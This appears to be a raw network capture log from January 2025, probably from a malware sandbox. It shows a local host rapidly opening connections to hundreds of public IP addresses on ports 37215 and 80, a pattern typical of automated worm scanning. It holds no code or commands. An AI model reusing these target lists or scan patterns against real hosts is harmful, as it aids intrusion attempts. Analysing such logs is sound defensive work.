Jan 30, 2025 10:43:02.531205893 CET	57218	37215	192.168.2.13	197.55.246.248
Jan 30, 2025 10:43:02.531214952 CET	52570	37215	192.168.2.13	197.117.192.49
Jan 30, 2025 10:43:02.531227112 CET	60580	37215	192.168.2.13	41.100.124.121
Jan 30, 2025 10:43:02.531240940 CET	42134	37215	192.168.2.13	156.252.3.126
Jan 30, 2025 10:43:02.531255960 CET	45482	37215	192.168.2.13	41.47.51.86
Jan 30, 2025 10:43:02.531265020 CET	43194	37215	192.168.2.13	197.74.198.211
Jan 30, 2025 10:43:02.531276941 CET	44658	37215	192.168.2.13	156.217.78.62
Jan 30, 2025 10:43:02.531290054 CET	46196	37215	192.168.2.13	156.115.243.2
Jan 30, 2025 10:43:02.531322956 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:02.531322956 CET	57536	37215	192.168.2.13	156.91.135.235
Jan 30, 2025 10:43:02.531331062 CET	40586	37215	192.168.2.13	156.245.216.254
Jan 30, 2025 10:43:02.537425041 CET	80	44310	133.82.178.10	192.168.2.13
Jan 30, 2025 10:43:02.537535906 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:43:02.537580967 CET	80	33010	223.173.141.112	192.168.2.13
Jan 30, 2025 10:43:02.537596941 CET	37215	41666	41.110.101.0	192.168.2.13
Jan 30, 2025 10:43:02.537632942 CET	33010	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:43:02.537693977 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:43:02.537713051 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:02.537713051 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:02.537731886 CET	41666	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:02.537863016 CET	33010	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:43:02.538157940 CET	41918	37215	192.168.2.13	41.110.101.0
Jan 30, 2025 10:43:02.544019938 CET	37215	41666	41.110.101.0	192.168.2.13
Jan 30, 2025 10:43:02.544365883 CET	80	44310	133.82.178.10	192.168.2.13
Jan 30, 2025 10:43:02.544437885 CET	44310	80	192.168.2.13	133.82.178.10
Jan 30, 2025 10:43:02.544789076 CET	80	33010	223.173.141.112	192.168.2.13
Jan 30, 2025 10:43:02.544845104 CET	33010	80	192.168.2.13	223.173.141.112
Jan 30, 2025 10:43:02.553255081 CET	80	55136	69.229.23.24	192.168.2.13
Jan 30, 2025 10:43:02.553263903 CET	37215	51558	41.193.251.70	192.168.2.13
Jan 30, 2025 10:43:02.563167095 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.563189030 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:02.563203096 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:02.563216925 CET	57456	37215	192.168.2.13	41.181.185.210
Jan 30, 2025 10:43:02.563230038 CET	47682	37215	192.168.2.13	156.147.172.251
Jan 30, 2025 10:43:02.563237906 CET	59534	37215	192.168.2.13	41.214.47.225
Jan 30, 2025 10:43:02.563252926 CET	33294	37215	192.168.2.13	156.73.88.204
Jan 30, 2025 10:43:02.563261986 CET	35042	37215	192.168.2.13	41.26.125.148
Jan 30, 2025 10:43:02.563268900 CET	34116	37215	192.168.2.13	41.95.183.165
Jan 30, 2025 10:43:02.563286066 CET	55190	37215	192.168.2.13	197.199.186.236
Jan 30, 2025 10:43:02.563297033 CET	51412	37215	192.168.2.13	156.162.130.12
Jan 30, 2025 10:43:02.563304901 CET	50464	37215	192.168.2.13	156.98.209.241
Jan 30, 2025 10:43:02.563316107 CET	49818	37215	192.168.2.13	197.219.207.217
Jan 30, 2025 10:43:02.563332081 CET	55790	37215	192.168.2.13	197.220.153.229
Jan 30, 2025 10:43:02.563344002 CET	42172	37215	192.168.2.13	156.192.119.32
Jan 30, 2025 10:43:02.563358068 CET	44092	37215	192.168.2.13	156.7.152.31
Jan 30, 2025 10:43:02.563373089 CET	57128	37215	192.168.2.13	156.232.166.67
Jan 30, 2025 10:43:02.563385010 CET	43984	37215	192.168.2.13	41.2.193.147
Jan 30, 2025 10:43:02.570636034 CET	37215	53604	197.154.15.206	192.168.2.13
Jan 30, 2025 10:43:02.570648909 CET	37215	50492	41.215.1.212	192.168.2.13
Jan 30, 2025 10:43:02.570724010 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.570739031 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:02.570761919 CET	37215	40576	156.224.145.168	192.168.2.13
Jan 30, 2025 10:43:02.570820093 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:02.570915937 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.570949078 CET	53604	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.571458101 CET	53848	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.571892977 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:02.571892977 CET	50492	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:02.572227001 CET	50736	37215	192.168.2.13	41.215.1.212
Jan 30, 2025 10:43:02.572685957 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:02.572685957 CET	40576	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:02.573052883 CET	40820	37215	192.168.2.13	156.224.145.168
Jan 30, 2025 10:43:02.577383041 CET	37215	53604	197.154.15.206	192.168.2.13
Jan 30, 2025 10:43:02.577877045 CET	37215	53848	197.154.15.206	192.168.2.13
Jan 30, 2025 10:43:02.577939987 CET	53848	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.578016043 CET	53848	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.578193903 CET	37215	50492	41.215.1.212	192.168.2.13
Jan 30, 2025 10:43:02.578855991 CET	37215	40576	156.224.145.168	192.168.2.13
Jan 30, 2025 10:43:02.584517002 CET	37215	53848	197.154.15.206	192.168.2.13
Jan 30, 2025 10:43:02.584582090 CET	53848	37215	192.168.2.13	197.154.15.206
Jan 30, 2025 10:43:02.589225054 CET	37215	41666	41.110.101.0	192.168.2.13
Jan 30, 2025 10:43:02.595177889 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.595185041 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:02.595206976 CET	41486	37215	192.168.2.13	156.97.202.177
Jan 30, 2025 10:43:02.595233917 CET	43708	37215	192.168.2.13	41.160.108.206
Jan 30, 2025 10:43:02.595240116 CET	48024	37215	192.168.2.13	41.168.122.168
Jan 30, 2025 10:43:02.595256090 CET	47346	37215	192.168.2.13	41.173.205.234
Jan 30, 2025 10:43:02.595267057 CET	47888	37215	192.168.2.13	156.242.44.150
Jan 30, 2025 10:43:02.595283985 CET	56232	37215	192.168.2.13	156.32.8.151
Jan 30, 2025 10:43:02.595304966 CET	37162	37215	192.168.2.13	197.109.251.180
Jan 30, 2025 10:43:02.595335007 CET	60288	37215	192.168.2.13	197.214.77.6
Jan 30, 2025 10:43:02.595335007 CET	49598	37215	192.168.2.13	197.60.231.190
Jan 30, 2025 10:43:02.595343113 CET	57052	37215	192.168.2.13	41.179.125.10
Jan 30, 2025 10:43:02.595351934 CET	53266	37215	192.168.2.13	156.96.69.23
Jan 30, 2025 10:43:02.595381975 CET	53738	37215	192.168.2.13	197.70.160.34
Jan 30, 2025 10:43:02.595382929 CET	57724	37215	192.168.2.13	41.0.25.105
Jan 30, 2025 10:43:02.595395088 CET	58800	37215	192.168.2.13	156.215.110.203
Jan 30, 2025 10:43:02.595395088 CET	46072	37215	192.168.2.13	41.91.240.84
Jan 30, 2025 10:43:02.595416069 CET	38774	37215	192.168.2.13	197.120.21.157
Jan 30, 2025 10:43:02.602467060 CET	37215	45542	197.236.183.89	192.168.2.13
Jan 30, 2025 10:43:02.602478027 CET	37215	58074	41.142.150.156	192.168.2.13
Jan 30, 2025 10:43:02.602549076 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:02.602571011 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.602736950 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.602771044 CET	58074	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.603280067 CET	58278	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.603713036 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:02.603713036 CET	45542	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:02.604059935 CET	45746	37215	192.168.2.13	197.236.183.89
Jan 30, 2025 10:43:02.607465982 CET	37215	58074	41.142.150.156	192.168.2.13
Jan 30, 2025 10:43:02.610371113 CET	37215	58278	41.142.150.156	192.168.2.13
Jan 30, 2025 10:43:02.610439062 CET	58278	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.610492945 CET	58278	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.610850096 CET	37215	45542	197.236.183.89	192.168.2.13
Jan 30, 2025 10:43:02.616914034 CET	37215	58278	41.142.150.156	192.168.2.13
Jan 30, 2025 10:43:02.616975069 CET	58278	37215	192.168.2.13	41.142.150.156
Jan 30, 2025 10:43:02.622457027 CET	37215	40576	156.224.145.168	192.168.2.13
Jan 30, 2025 10:43:02.622467041 CET	37215	50492	41.215.1.212	192.168.2.13
Jan 30, 2025 10:43:02.622476101 CET	37215	53604	197.154.15.206	192.168.2.13
Jan 30, 2025 10:43:02.627171993 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:43:02.627171993 CET	60288	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:43:02.627197981 CET	53916	37215	192.168.2.13	41.205.61.115
Jan 30, 2025 10:43:02.627216101 CET	32774	37215	192.168.2.13	41.137.30.159
Jan 30, 2025 10:43:02.632128000 CET	80	60200	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:02.632208109 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:02.633898973 CET	37215	50644	41.114.221.214	192.168.2.13
Jan 30, 2025 10:43:02.633909941 CET	37215	60288	156.186.122.47	192.168.2.13
Jan 30, 2025 10:43:02.633985996 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:43:02.634013891 CET	60288	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:43:02.634094954 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:43:02.634094954 CET	60288	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:43:02.644167900 CET	37215	50644	41.114.221.214	192.168.2.13
Jan 30, 2025 10:43:02.644254923 CET	50644	37215	192.168.2.13	41.114.221.214
Jan 30, 2025 10:43:02.644287109 CET	37215	60288	156.186.122.47	192.168.2.13
Jan 30, 2025 10:43:02.644407988 CET	60288	37215	192.168.2.13	156.186.122.47
Jan 30, 2025 10:43:02.652107000 CET	37215	58074	41.142.150.156	192.168.2.13
Jan 30, 2025 10:43:02.655338049 CET	37215	45542	197.236.183.89	192.168.2.13
Jan 30, 2025 10:43:03.171165943 CET	52572	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:03.171178102 CET	46242	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:03.171178102 CET	58552	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:03.171178102 CET	60960	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:03.176070929 CET	80	52572	117.176.214.115	192.168.2.13
Jan 30, 2025 10:43:03.176093102 CET	80	46242	209.77.2.157	192.168.2.13
Jan 30, 2025 10:43:03.176099062 CET	80	58552	116.34.227.92	192.168.2.13
Jan 30, 2025 10:43:03.176109076 CET	80	60960	191.252.94.92	192.168.2.13
Jan 30, 2025 10:43:03.176202059 CET	58552	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:03.176202059 CET	52572	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:03.176275969 CET	58552	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:03.176290035 CET	52572	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:03.176318884 CET	46242	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:03.176322937 CET	38885	80	192.168.2.13	69.12.32.244
Jan 30, 2025 10:43:03.176335096 CET	38885	80	192.168.2.13	83.38.80.15
Jan 30, 2025 10:43:03.176356077 CET	60960	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:03.176353931 CET	38885	80	192.168.2.13	42.239.138.4
Jan 30, 2025 10:43:03.176373005 CET	38885	80	192.168.2.13	110.131.140.30
Jan 30, 2025 10:43:03.176373005 CET	38885	80	192.168.2.13	134.191.13.132
Jan 30, 2025 10:43:03.176387072 CET	38885	80	192.168.2.13	66.198.36.212
Jan 30, 2025 10:43:03.176387072 CET	38885	80	192.168.2.13	171.253.144.183
Jan 30, 2025 10:43:03.176403046 CET	38885	80	192.168.2.13	193.183.22.222
Jan 30, 2025 10:43:03.176412106 CET	38885	80	192.168.2.13	196.132.169.54
Jan 30, 2025 10:43:03.176413059 CET	38885	80	192.168.2.13	160.202.177.226
Jan 30, 2025 10:43:03.176434040 CET	38885	80	192.168.2.13	190.13.100.188
Jan 30, 2025 10:43:03.176440001 CET	38885	80	192.168.2.13	137.121.230.207
Jan 30, 2025 10:43:03.176440001 CET	38885	80	192.168.2.13	125.187.93.28
Jan 30, 2025 10:43:03.176464081 CET	38885	80	192.168.2.13	76.251.40.49
Jan 30, 2025 10:43:03.176467896 CET	38885	80	192.168.2.13	124.96.172.2
Jan 30, 2025 10:43:03.176479101 CET	38885	80	192.168.2.13	14.243.138.96
Jan 30, 2025 10:43:03.176479101 CET	38885	80	192.168.2.13	178.81.227.84
Jan 30, 2025 10:43:03.176500082 CET	38885	80	192.168.2.13	136.52.221.83
Jan 30, 2025 10:43:03.176505089 CET	38885	80	192.168.2.13	78.211.59.72
Jan 30, 2025 10:43:03.176512003 CET	38885	80	192.168.2.13	76.212.231.160
Jan 30, 2025 10:43:03.176512003 CET	38885	80	192.168.2.13	128.40.80.199
Jan 30, 2025 10:43:03.176528931 CET	38885	80	192.168.2.13	111.87.68.101
Jan 30, 2025 10:43:03.176536083 CET	38885	80	192.168.2.13	175.43.27.75
Jan 30, 2025 10:43:03.176542044 CET	38885	80	192.168.2.13	88.50.245.10
Jan 30, 2025 10:43:03.176551104 CET	38885	80	192.168.2.13	219.181.152.221
Jan 30, 2025 10:43:03.176553011 CET	38885	80	192.168.2.13	1.210.104.110
Jan 30, 2025 10:43:03.176564932 CET	38885	80	192.168.2.13	17.35.121.233
Jan 30, 2025 10:43:03.176575899 CET	38885	80	192.168.2.13	141.11.150.131
Jan 30, 2025 10:43:03.176582098 CET	38885	80	192.168.2.13	122.191.9.80
Jan 30, 2025 10:43:03.176593065 CET	38885	80	192.168.2.13	186.80.135.215
Jan 30, 2025 10:43:03.176609039 CET	38885	80	192.168.2.13	119.209.5.41
Jan 30, 2025 10:43:03.176618099 CET	38885	80	192.168.2.13	23.61.131.171
Jan 30, 2025 10:43:03.176626921 CET	38885	80	192.168.2.13	222.48.36.63
Jan 30, 2025 10:43:03.176635027 CET	38885	80	192.168.2.13	162.105.25.143
Jan 30, 2025 10:43:03.176644087 CET	38885	80	192.168.2.13	147.98.46.107
Jan 30, 2025 10:43:03.176646948 CET	38885	80	192.168.2.13	63.76.195.22
Jan 30, 2025 10:43:03.176666021 CET	38885	80	192.168.2.13	63.133.231.235
Jan 30, 2025 10:43:03.176672935 CET	38885	80	192.168.2.13	185.159.14.46
Jan 30, 2025 10:43:03.176690102 CET	38885	80	192.168.2.13	46.214.150.92
Jan 30, 2025 10:43:03.176696062 CET	38885	80	192.168.2.13	198.0.210.32
Jan 30, 2025 10:43:03.176702023 CET	38885	80	192.168.2.13	161.194.248.70
Jan 30, 2025 10:43:03.176702023 CET	38885	80	192.168.2.13	206.185.103.81
Jan 30, 2025 10:43:03.176718950 CET	38885	80	192.168.2.13	20.197.185.64
Jan 30, 2025 10:43:03.176724911 CET	38885	80	192.168.2.13	211.138.64.169
Jan 30, 2025 10:43:03.176736116 CET	38885	80	192.168.2.13	208.220.69.198
Jan 30, 2025 10:43:03.176736116 CET	38885	80	192.168.2.13	37.53.175.89
Jan 30, 2025 10:43:03.176739931 CET	38885	80	192.168.2.13	110.116.2.40
Jan 30, 2025 10:43:03.176739931 CET	38885	80	192.168.2.13	72.95.238.238
Jan 30, 2025 10:43:03.176753044 CET	38885	80	192.168.2.13	136.21.30.93
Jan 30, 2025 10:43:03.176754951 CET	38885	80	192.168.2.13	135.66.164.129
Jan 30, 2025 10:43:03.176762104 CET	38885	80	192.168.2.13	69.59.54.145
Jan 30, 2025 10:43:03.176781893 CET	38885	80	192.168.2.13	12.227.211.127
Jan 30, 2025 10:43:03.176785946 CET	38885	80	192.168.2.13	36.208.156.45
Jan 30, 2025 10:43:03.176795006 CET	38885	80	192.168.2.13	9.170.57.16
Jan 30, 2025 10:43:03.176805973 CET	38885	80	192.168.2.13	126.158.69.87
Jan 30, 2025 10:43:03.176810980 CET	38885	80	192.168.2.13	63.51.96.237
Jan 30, 2025 10:43:03.176815033 CET	38885	80	192.168.2.13	69.217.56.145
Jan 30, 2025 10:43:03.176820040 CET	38885	80	192.168.2.13	91.89.205.170
Jan 30, 2025 10:43:03.176836014 CET	38885	80	192.168.2.13	78.211.161.128
Jan 30, 2025 10:43:03.176841021 CET	38885	80	192.168.2.13	191.77.108.120
Jan 30, 2025 10:43:03.176841974 CET	38885	80	192.168.2.13	46.115.181.71
Jan 30, 2025 10:43:03.176862001 CET	38885	80	192.168.2.13	61.34.101.209
Jan 30, 2025 10:43:03.176867962 CET	38885	80	192.168.2.13	77.7.66.188
Jan 30, 2025 10:43:03.176876068 CET	38885	80	192.168.2.13	77.55.59.91
Jan 30, 2025 10:43:03.176888943 CET	38885	80	192.168.2.13	135.27.63.182
Jan 30, 2025 10:43:03.176889896 CET	38885	80	192.168.2.13	76.98.122.43
Jan 30, 2025 10:43:03.176908970 CET	38885	80	192.168.2.13	133.241.1.39
Jan 30, 2025 10:43:03.176909924 CET	38885	80	192.168.2.13	17.132.199.187
Jan 30, 2025 10:43:03.176923037 CET	38885	80	192.168.2.13	205.1.38.155
Jan 30, 2025 10:43:03.176928997 CET	38885	80	192.168.2.13	137.22.233.73
Jan 30, 2025 10:43:03.176940918 CET	38885	80	192.168.2.13	37.130.134.100
Jan 30, 2025 10:43:03.176949978 CET	38885	80	192.168.2.13	17.169.233.99
Jan 30, 2025 10:43:03.176956892 CET	38885	80	192.168.2.13	85.198.4.131
Jan 30, 2025 10:43:03.176971912 CET	38885	80	192.168.2.13	210.134.84.11
Jan 30, 2025 10:43:03.176973104 CET	38885	80	192.168.2.13	58.248.197.98
Jan 30, 2025 10:43:03.176985979 CET	38885	80	192.168.2.13	209.6.196.89
Jan 30, 2025 10:43:03.176995993 CET	38885	80	192.168.2.13	102.189.7.102
Jan 30, 2025 10:43:03.177007914 CET	38885	80	192.168.2.13	101.185.62.98
Jan 30, 2025 10:43:03.177014112 CET	38885	80	192.168.2.13	198.184.106.19
Jan 30, 2025 10:43:03.177020073 CET	38885	80	192.168.2.13	20.199.248.6
Jan 30, 2025 10:43:03.177031040 CET	38885	80	192.168.2.13	66.109.71.34
Jan 30, 2025 10:43:03.177041054 CET	38885	80	192.168.2.13	20.6.240.46
Jan 30, 2025 10:43:03.177045107 CET	38885	80	192.168.2.13	83.172.13.42
Jan 30, 2025 10:43:03.177058935 CET	38885	80	192.168.2.13	66.81.210.14
Jan 30, 2025 10:43:03.177059889 CET	38885	80	192.168.2.13	130.168.180.92
Jan 30, 2025 10:43:03.177073002 CET	38885	80	192.168.2.13	20.204.166.211
Jan 30, 2025 10:43:03.177073956 CET	38885	80	192.168.2.13	117.170.200.101
Jan 30, 2025 10:43:03.177078962 CET	38885	80	192.168.2.13	85.40.50.217
Jan 30, 2025 10:43:03.177094936 CET	38885	80	192.168.2.13	180.81.58.33
Jan 30, 2025 10:43:03.177105904 CET	38885	80	192.168.2.13	145.64.167.201
Jan 30, 2025 10:43:03.177117109 CET	38885	80	192.168.2.13	115.30.245.5
Jan 30, 2025 10:43:03.177128077 CET	38885	80	192.168.2.13	157.23.25.157
Jan 30, 2025 10:43:03.177130938 CET	38885	80	192.168.2.13	200.71.50.100
Jan 30, 2025 10:43:03.177134037 CET	38885	80	192.168.2.13	209.143.172.79
Jan 30, 2025 10:43:03.177140951 CET	38885	80	192.168.2.13	87.253.93.16
Jan 30, 2025 10:43:03.177159071 CET	38885	80	192.168.2.13	67.255.117.9
Jan 30, 2025 10:43:03.177160025 CET	38885	80	192.168.2.13	5.131.80.19
Jan 30, 2025 10:43:03.177166939 CET	38885	80	192.168.2.13	12.98.147.175
Jan 30, 2025 10:43:03.177177906 CET	38885	80	192.168.2.13	159.35.32.206
Jan 30, 2025 10:43:03.177185059 CET	38885	80	192.168.2.13	86.174.236.124
Jan 30, 2025 10:43:03.177200079 CET	38885	80	192.168.2.13	124.95.78.93
Jan 30, 2025 10:43:03.177206039 CET	38885	80	192.168.2.13	147.137.195.3
Jan 30, 2025 10:43:03.177217960 CET	38885	80	192.168.2.13	31.176.200.83
Jan 30, 2025 10:43:03.177226067 CET	38885	80	192.168.2.13	217.171.114.118
Jan 30, 2025 10:43:03.177238941 CET	38885	80	192.168.2.13	191.123.100.241
Jan 30, 2025 10:43:03.177238941 CET	38885	80	192.168.2.13	64.241.143.151
Jan 30, 2025 10:43:03.177257061 CET	38885	80	192.168.2.13	80.22.229.38
Jan 30, 2025 10:43:03.177263021 CET	38885	80	192.168.2.13	220.115.185.133
Jan 30, 2025 10:43:03.177267075 CET	38885	80	192.168.2.13	142.97.124.14
Jan 30, 2025 10:43:03.177275896 CET	38885	80	192.168.2.13	141.124.222.137
Jan 30, 2025 10:43:03.177289009 CET	38885	80	192.168.2.13	63.255.73.73
Jan 30, 2025 10:43:03.177300930 CET	38885	80	192.168.2.13	203.152.70.74
Jan 30, 2025 10:43:03.177306890 CET	38885	80	192.168.2.13	131.240.117.76
Jan 30, 2025 10:43:03.177315950 CET	38885	80	192.168.2.13	74.20.10.55
Jan 30, 2025 10:43:03.177325964 CET	38885	80	192.168.2.13	136.229.252.132
Jan 30, 2025 10:43:03.177340031 CET	38885	80	192.168.2.13	34.174.199.8
Jan 30, 2025 10:43:03.177347898 CET	38885	80	192.168.2.13	149.233.81.86
Jan 30, 2025 10:43:03.177359104 CET	38885	80	192.168.2.13	124.182.180.181
Jan 30, 2025 10:43:03.177366972 CET	38885	80	192.168.2.13	34.26.236.66
Jan 30, 2025 10:43:03.177367926 CET	38885	80	192.168.2.13	183.42.131.166
Jan 30, 2025 10:43:03.177380085 CET	38885	80	192.168.2.13	8.175.42.72
Jan 30, 2025 10:43:03.177381039 CET	38885	80	192.168.2.13	70.36.168.123
Jan 30, 2025 10:43:03.177393913 CET	38885	80	192.168.2.13	102.65.4.227
Jan 30, 2025 10:43:03.177400112 CET	38885	80	192.168.2.13	169.50.14.49
Jan 30, 2025 10:43:03.177400112 CET	38885	80	192.168.2.13	207.9.232.131
Jan 30, 2025 10:43:03.177406073 CET	38885	80	192.168.2.13	138.116.68.162
Jan 30, 2025 10:43:03.177414894 CET	38885	80	192.168.2.13	1.115.52.16
Jan 30, 2025 10:43:03.177424908 CET	38885	80	192.168.2.13	76.30.150.239
Jan 30, 2025 10:43:03.177431107 CET	38885	80	192.168.2.13	170.32.197.40
Jan 30, 2025 10:43:03.177437067 CET	38885	80	192.168.2.13	141.89.5.140
Jan 30, 2025 10:43:03.177447081 CET	38885	80	192.168.2.13	32.48.249.159
Jan 30, 2025 10:43:03.177458048 CET	38885	80	192.168.2.13	169.124.188.66
Jan 30, 2025 10:43:03.177468061 CET	38885	80	192.168.2.13	32.80.87.233
Jan 30, 2025 10:43:03.177469969 CET	38885	80	192.168.2.13	88.248.18.232
Jan 30, 2025 10:43:03.177470922 CET	38885	80	192.168.2.13	133.121.19.163
Jan 30, 2025 10:43:03.177479982 CET	38885	80	192.168.2.13	205.166.70.167
Jan 30, 2025 10:43:03.177493095 CET	38885	80	192.168.2.13	65.57.254.33
Jan 30, 2025 10:43:03.177509069 CET	38885	80	192.168.2.13	213.14.125.183
Jan 30, 2025 10:43:03.177514076 CET	38885	80	192.168.2.13	175.125.201.48
Jan 30, 2025 10:43:03.177521944 CET	38885	80	192.168.2.13	90.91.59.225
Jan 30, 2025 10:43:03.177529097 CET	38885	80	192.168.2.13	12.81.184.53
Jan 30, 2025 10:43:03.177537918 CET	38885	80	192.168.2.13	204.130.195.207
Jan 30, 2025 10:43:03.177550077 CET	38885	80	192.168.2.13	137.8.93.77
Jan 30, 2025 10:43:03.177556038 CET	38885	80	192.168.2.13	77.147.205.165
Jan 30, 2025 10:43:03.177566051 CET	38885	80	192.168.2.13	5.140.118.106
Jan 30, 2025 10:43:03.177571058 CET	38885	80	192.168.2.13	5.193.93.136
Jan 30, 2025 10:43:03.177580118 CET	38885	80	192.168.2.13	211.175.167.207
Jan 30, 2025 10:43:03.177592993 CET	38885	80	192.168.2.13	223.202.33.243
Jan 30, 2025 10:43:03.177603006 CET	38885	80	192.168.2.13	188.91.246.104
Jan 30, 2025 10:43:03.177613974 CET	38885	80	192.168.2.13	62.133.214.228
Jan 30, 2025 10:43:03.177618980 CET	38885	80	192.168.2.13	204.218.221.100
Jan 30, 2025 10:43:03.177635908 CET	38885	80	192.168.2.13	74.177.236.193
Jan 30, 2025 10:43:03.177651882 CET	38885	80	192.168.2.13	67.123.1.77
Jan 30, 2025 10:43:03.177658081 CET	38885	80	192.168.2.13	176.134.65.97
Jan 30, 2025 10:43:03.177670956 CET	38885	80	192.168.2.13	149.202.11.230
Jan 30, 2025 10:43:03.177687883 CET	38885	80	192.168.2.13	123.172.129.86
Jan 30, 2025 10:43:03.177695990 CET	38885	80	192.168.2.13	46.13.126.0
Jan 30, 2025 10:43:03.177706003 CET	38885	80	192.168.2.13	207.176.227.148
Jan 30, 2025 10:43:03.177716017 CET	38885	80	192.168.2.13	52.3.236.42
Jan 30, 2025 10:43:03.177721977 CET	38885	80	192.168.2.13	25.87.121.196
Jan 30, 2025 10:43:03.177728891 CET	38885	80	192.168.2.13	201.201.221.15
Jan 30, 2025 10:43:03.177741051 CET	38885	80	192.168.2.13	45.16.248.227
Jan 30, 2025 10:43:03.177757978 CET	38885	80	192.168.2.13	161.210.6.83
Jan 30, 2025 10:43:03.177762985 CET	38885	80	192.168.2.13	61.77.164.39
Jan 30, 2025 10:43:03.177778959 CET	38885	80	192.168.2.13	149.41.135.86
Jan 30, 2025 10:43:03.177789927 CET	38885	80	192.168.2.13	195.50.32.165
Jan 30, 2025 10:43:03.177789927 CET	38885	80	192.168.2.13	46.76.121.114
Jan 30, 2025 10:43:03.177807093 CET	38885	80	192.168.2.13	176.40.19.52
Jan 30, 2025 10:43:03.177807093 CET	38885	80	192.168.2.13	142.238.183.121
Jan 30, 2025 10:43:03.177819967 CET	38885	80	192.168.2.13	20.94.226.73
Jan 30, 2025 10:43:03.177829981 CET	38885	80	192.168.2.13	103.172.26.240
Jan 30, 2025 10:43:03.177845001 CET	38885	80	192.168.2.13	79.153.236.75
Jan 30, 2025 10:43:03.177849054 CET	38885	80	192.168.2.13	203.20.138.195
Jan 30, 2025 10:43:03.177853107 CET	38885	80	192.168.2.13	62.56.90.85
Jan 30, 2025 10:43:03.177869081 CET	38885	80	192.168.2.13	187.110.86.43
Jan 30, 2025 10:43:03.177869081 CET	38885	80	192.168.2.13	17.212.121.74
Jan 30, 2025 10:43:03.177879095 CET	38885	80	192.168.2.13	54.110.18.34
Jan 30, 2025 10:43:03.177891016 CET	38885	80	192.168.2.13	219.165.34.92
Jan 30, 2025 10:43:03.177894115 CET	38885	80	192.168.2.13	102.80.207.24
Jan 30, 2025 10:43:03.177908897 CET	38885	80	192.168.2.13	154.117.8.112
Jan 30, 2025 10:43:03.177912951 CET	38885	80	192.168.2.13	114.25.184.84
Jan 30, 2025 10:43:03.177913904 CET	38885	80	192.168.2.13	211.236.43.54
Jan 30, 2025 10:43:03.177930117 CET	38885	80	192.168.2.13	111.204.122.5
Jan 30, 2025 10:43:03.177932024 CET	38885	80	192.168.2.13	124.14.64.37
Jan 30, 2025 10:43:03.177942038 CET	38885	80	192.168.2.13	68.135.28.77
Jan 30, 2025 10:43:03.177942991 CET	38885	80	192.168.2.13	183.250.111.165
Jan 30, 2025 10:43:03.177957058 CET	38885	80	192.168.2.13	47.253.72.255
Jan 30, 2025 10:43:03.177958965 CET	38885	80	192.168.2.13	164.221.175.80
Jan 30, 2025 10:43:03.177968979 CET	38885	80	192.168.2.13	162.192.38.231
Jan 30, 2025 10:43:03.177983046 CET	38885	80	192.168.2.13	183.215.133.137
Jan 30, 2025 10:43:03.177983046 CET	38885	80	192.168.2.13	52.171.184.70
Jan 30, 2025 10:43:03.177994013 CET	38885	80	192.168.2.13	119.142.136.54
Jan 30, 2025 10:43:03.178008080 CET	38885	80	192.168.2.13	13.58.99.27
Jan 30, 2025 10:43:03.178013086 CET	38885	80	192.168.2.13	176.76.113.143
Jan 30, 2025 10:43:03.178024054 CET	38885	80	192.168.2.13	193.207.108.228
Jan 30, 2025 10:43:03.178026915 CET	38885	80	192.168.2.13	59.244.78.216
Jan 30, 2025 10:43:03.178037882 CET	38885	80	192.168.2.13	138.117.158.85
